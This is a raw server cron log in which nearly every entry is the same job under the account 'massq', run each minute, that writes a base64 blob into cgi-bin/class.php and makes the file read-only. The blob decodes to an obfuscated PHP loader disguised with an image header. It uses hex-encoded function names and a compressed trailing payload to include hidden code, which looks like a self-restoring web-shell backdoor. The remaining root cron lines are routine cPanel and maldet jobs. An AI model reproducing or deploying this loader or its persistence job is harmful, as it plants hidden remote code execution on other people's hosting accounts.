Nov 13 13:39:01 server CROND[32381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:40:01 server CROND[800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:40:01 server CROND[802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:40:01 server CROND[801]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 13:40:01 server CROND[803]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:41:01 server CROND[1823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:42:02 server CROND[2690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:42:02 server CROND[2691]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 13:43:01 server CROND[3539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:44:01 server CROND[4401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:45:01 server CROND[5261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:45:01 server CROND[5263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:45:01 server CROND[5262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:46:01 server CROND[6291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:47:01 server CROND[6863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:48:01 server CROND[7297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:49:01 server CROND[7868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:50:01 server CROND[8834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:50:01 server CROND[8836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:50:01 server CROND[8838]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 13:50:01 server CROND[8837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:50:01 server CROND[8839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 13:51:01 server CROND[9922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
